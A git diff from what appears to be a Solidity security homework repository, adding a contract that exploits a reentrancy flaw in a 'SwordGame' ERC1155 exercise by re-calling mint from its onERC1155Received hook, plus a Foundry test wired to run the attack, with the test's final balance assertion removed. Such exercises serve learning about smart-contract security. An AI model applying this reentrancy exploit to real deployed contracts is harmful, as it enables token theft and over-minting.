diff --git a/.gitmodules b/.gitmodules index 0f30d65..3868c2e 100644 --- a/.gitmodules +++ b/.gitmodules @@ -28,3 +28,9 @@ [submodule "w6/lib/openzeppelin-contracts"] path = w6/lib/openzeppelin-contracts url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "w7/lib/forge-std"] + path = w7/lib/forge-std + url = https://github.com/foundry-rs/forge-std +[submodule "w7/lib/openzeppelin-contracts"] + path = w7/lib/openzeppelin-contracts + url = https://github.com/OpenZeppelin/openzeppelin-contracts \ No newline at end of file diff --git a/w6/src/example/attackHw1.sol b/w6/src/example/attackHw1.sol new file mode 100644 index 0000000..e20e264 --- /dev/null +++ b/w6/src/example/attackHw1.sol @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.20; + +import {SwordGame} from "src/hw/hw1.sol"; +import {Test, console} from "forge-std/Test.sol"; + +contract AttackHW1 { + SwordGame public swordGame; + uint256 public tokenId = 1; + uint256 public nftCount; + + constructor(SwordGame _swordGame) { + swordGame = _swordGame; + } + + receive() external payable {} + + function attack() public payable { + swordGame.mint{value: 1 ether}(tokenId); + } + + function onERC1155Received( + address, // operator + address, // from + uint256, // id + uint256 amount, // amount + bytes calldata // data + ) external returns (bytes4) { + nftCount += amount; + console.log("nftCount", nftCount); + // 循环调用 mint 函数 + while (nftCount < 10) { + try swordGame.mint{value: 1 ether}(tokenId) { + nftCount++; + } catch { + console.log("error", nftCount); + break; + } + } + + return this.onERC1155Received.selector; + } +} diff --git a/w6/test/hw1.t.sol b/w6/test/hw1.t.sol index 9e29b71..a540f8d 100644 --- a/w6/test/hw1.t.sol +++ b/w6/test/hw1.t.sol @@ -1,17 +1,20 @@ // SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.0; +pragma solidity ^0.8.20; -import {Test} from "forge-std/Test.sol"; +import {Test, console} from "forge-std/Test.sol"; import {SwordGame} from "src/hw/hw1.sol"; +import {AttackHW1} from "src/example/attackHw1.sol"; contract exploitNFTTest is Test { SwordGame swordGame; - address public owner = address(0); + AttackHW1 attackHW1; + address public owner1 = address(1); address public hacker = address(1337); function setUp() public { - vm.startPrank(owner); + vm.startPrank(owner1); swordGame = new SwordGame(); + attackHW1 = new AttackHW1(swordGame); vm.stopPrank(); vm.deal(hacker, 1 ether); @@ -19,9 +22,8 @@ contract exploitNFTTest is Test { function testExploit() public { vm.startPrank(hacker); - // add your solution here + attackHW1.attack{value: 1 ether}(); vm.stopPrank(); - assertEq(swordGame.balanceOf(hacker, 1), 10); } }